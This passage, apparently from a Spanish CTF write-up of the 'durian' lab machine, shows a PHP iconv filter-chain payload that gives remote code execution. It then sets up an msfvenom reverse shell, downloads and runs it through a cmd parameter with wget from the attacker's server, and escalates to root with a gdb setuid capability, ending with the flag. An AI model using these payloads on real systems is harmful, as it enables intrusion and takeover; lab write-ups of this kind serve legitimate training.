16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4
|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-
16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-
```

```
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM94
3|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO202
2KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-
16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-
AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-
32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-
32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UH
C.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-
90|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-
2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-
```

```
encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-
16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert
.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-
32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-
8|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JIS
X0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT
_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-
2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|conve
rt.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM94
3|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-
decode/resource=php://temp
```

Y si enviamos esto, nos mostrara lo siguiente...

```
/* www-data 
P
```

Vemos que funciona ya que nos pone que somos `www-data`, por lo que crearemos una `Reverse Shell`....

Creamo el siguiente archivo...

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell.elf
```

Antes de hacer nada nos preparamos en `metasploit`...

```
msfconsole -q

#Dentro de metasploit
```

```
use multi/handler

set payload linux/x86/shell_reverse_tcp

set LHOST <IP_HOST>

set LPORT <PORT>

run
```

Con eso ya estariamos a la escucha...

Abriremos un server de `python3` para pasarnos el archivo con `wget`...

```
python3 -m http.server 80
```

En la `URL` haremos lo siguiente...

```
URL = http://<IP>/cgi-data/getImage.php?cmd=wget -P /tmp http://<IP>/shell.elf
&file=<CONTENT_PAYLOAD>

URL = http://<IP>/cgi-data/getImage.php?cmd=ls -la /tmp &file=<CONTENT_PAYLOAD>
```

Info:

```
/* total 12 drwxrwxrwt 2 root root 4096 Jun 9 14:43 . drwxr-xr-x 18 root root 4096
Sep 7 2020 .. -rw-r--r-- 1 www-data www-data 114 Jun 9 14:05 shell.elf ▯▯
P▯▯▯▯▯▯▯▯▯>==▯▯▯@▯C▯▯▯▯▯▯▯▯>==▯▯▯@▯C▯▯▯▯▯▯▯▯>==▯▯▯@▯C▯▯▯▯▯▯▯▯>
==▯▯▯@▯C▯▯▯▯▯▯▯▯>==▯▯▯@▯C▯▯▯▯▯▯▯▯>==▯▯▯@▯C▯▯▯▯▯▯▯▯>==▯▯▯@▯C▯▯▯▯
▯▯▯>==▯▯▯@▯C▯▯▯▯▯▯▯▯>==▯▯▯@▯C▯▯▯▯▯▯▯▯>==▯▯▯@▯C▯▯▯▯▯▯▯▯>==▯▯▯@▯C▯
▯▯▯▯▯▯▯>==▯▯▯@▯C▯▯▯▯▯▯▯▯>==▯▯▯@▯
```

Vemos que se subio correctamente...

```
URL = http://<IP>/cgi-
data/getImage.php?cmd=chmod%20%2Bx%20%2Ftmp%2Fshell.elf&file=<CONTENT_PAYLOAD>
```

Y con eso lo que hacemos es `chmod +x /tmp/shell.php` si volvemos hacer un `ls` veremos que se pusieron los permisos de ejecucion, por lo que lo ejecutaremos...

```
URL = http://<IP>/cgi-data/getImage.php?cmd=/tmp/shell.elf&file=<CONTENT_PAYLOAD>
```

Enviado eso, si volvemos al `metasploit` nos habra hecho una shell con el usuario `www-data`...

```
script /dev/null -c bash

export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Si hacemos `sudo -l` veremos lo siguiente...

```
Matching Defaults entries for www-data on durian:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User www-data may run the following commands on durian:
    (root) NOPASSWD: /sbin/shutdown
    (root) NOPASSWD: /bin/ping
```

Por lo que vemos podemos hacer `/sbin/shutdown` y `/bin/ping` como si fueramos `root` utilizando `sudo`, pero no nos interesa mucho eso...

```
getcap -r / 2>/dev/null
```

Si hacemos esto para ver las `capabilities` que tenemos veremos lo siguiente...

```
/usr/bin/gdb = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
```

Por lo que vemos tenemos el del `gdb` por lo que podremos escalar por ahi privilegios...

URL = https://gtfobins.github.io/gtfobins/gdb/

```
/bin/gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
```

Poniendo eso seriamos `root`, por lo que leeremos la flag...

proof.txt (flag_final)

```
SunCSR_Team.af6d45da1f1181347b9e2139f23c6a5b
```